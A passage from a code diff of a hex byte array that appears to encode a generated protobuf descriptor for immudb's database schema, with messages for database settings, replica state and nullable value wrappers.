0x69, 0x6c, 0x65, 0x53, - 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, - 0x18, 0x09, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, - 0x6e, 0x12, 0x20, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, - 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, - 0x4c, 0x65, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, - 0x69, 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, - 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x2c, 0x0a, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, - 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x18, 0x0c, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, - 0x74, 0x54, 0x69, 0x6d, 0x65, 0x22, 0x92, 0x01, 0x0a, 0x15, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, - 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, - 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, - 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x69, 0x66, 0x4e, 0x6f, - 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x69, - 0x66, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x22, 0x99, 0x01, 0x0a, 0x16, 0x43, - 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, - 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, - 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x26, - 0x0a, 0x0e, 0x61, 0x6c, 0x72, 0x65, 0x61, 0x64, 0x79, 0x45, 0x78, 0x69, 0x73, 0x74, 0x65, 0x64, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x61, 0x6c, 0x72, 0x65, 0x61, 0x64, 0x79, 0x45, - 0x78, 0x69, 0x73, 0x74, 0x65, 0x64, 0x22, 0x78, 0x0a, 0x15, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, - 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, + 0x74, 0x74, 0x65, 0x64, 0x12, 0x3f, 0x0a, 0x0c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, + 0x74, 0x61, 0x74, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x69, + 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x52, 0x0c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, + 0x53, 0x74, 0x61, 0x74, 0x65, 0x22, 0xc2, 0x01, 0x0a, 0x0c, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, + 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x24, 0x0a, 0x0d, 0x63, 0x6f, + 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x04, 0x52, 0x0d, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, + 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, + 0x64, 0x41, 0x6c, 0x68, 0x12, 0x2a, 0x0a, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, + 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x10, + 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, + 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, + 0x41, 0x6c, 0x68, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x70, 0x72, 0x65, 0x63, 0x6f, + 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x22, 0x2e, 0x0a, 0x08, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x64, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xc0, 0x03, 0x0a, 0x10, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, + 0x22, 0x0a, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, + 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x12, 0x28, 0x0a, + 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, + 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x70, 0x72, + 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x70, 0x72, 0x69, + 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, + 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x28, 0x0a, 0x0f, 0x70, + 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x06, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, + 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, + 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, + 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, + 0x1a, 0x0a, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x6d, + 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, + 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x12, 0x20, 0x0a, 0x0b, 0x6d, 0x61, 0x78, + 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, + 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x6d, + 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, + 0x2c, 0x0a, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, + 0x54, 0x69, 0x6d, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x65, 0x78, 0x63, 0x6c, + 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x22, 0x92, 0x01, + 0x0a, 0x15, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, - 0x22, 0x79, 0x0a, 0x16, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, - 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, - 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x19, 0x0a, 0x17, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x7b, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x12, 0x20, 0x0a, 0x0b, 0x69, 0x66, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x69, 0x66, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, 0x73, + 0x74, 0x73, 0x22, 0x99, 0x01, 0x0a, 0x16, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x12, 0x0a, + 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, + 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, + 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, + 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x26, 0x0a, 0x0e, 0x61, 0x6c, 0x72, 0x65, 0x61, 0x64, + 0x79, 0x45, 0x78, 0x69, 0x73, 0x74, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, + 0x61, 0x6c, 0x72, 0x65, 0x61, 0x64, 0x79, 0x45, 0x78, 0x69, 0x73, 0x74, 0x65, 0x64, 0x22, 0x78, + 0x0a, 0x15, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, + 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x79, 0x0a, 0x16, 0x55, 0x70, 0x64, 0x61, + 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, - 0x6e, 0x67, 0x73, 0x22, 0x26, 0x0a, 0x0e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, - 0x69, 0x6e, 0x74, 0x33, 0x32, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x12, 0x14, 0x0a, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x22, 0x25, 0x0a, 0x0d, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x46, - 0x6c, 0x6f, 0x61, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x02, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x24, 0x0a, 0x0c, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x22, 0x26, 0x0a, 0x0e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, - 0x6e, 0x67, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x2c, 0x0a, 0x14, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, - 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x8a, 0x0b, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, - 0x6e, 0x67, 0x73, 0x12, 0x5c, 0x0a, 0x13, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x2a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x13, 0x72, 0x65, - 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, - 0x73, 0x12, 0x39, 0x0a, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x08, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, - 0x33, 0x32, 0x52, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x3b, 0x0a, 0x09, - 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, - 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, - 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, - 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x12, 0x41, 0x0a, 0x0c, 0x6d, 0x61, - 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, - 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x49, 0x0a, - 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, - 0x6d, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x6e, 0x67, 0x73, 0x22, 0x19, 0x0a, 0x17, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, + 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x7b, + 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, + 0x67, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, + 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, + 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x26, 0x0a, 0x0e, 0x4e, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x12, 0x14, 0x0a, + 0x05, 0x76, 0x61, 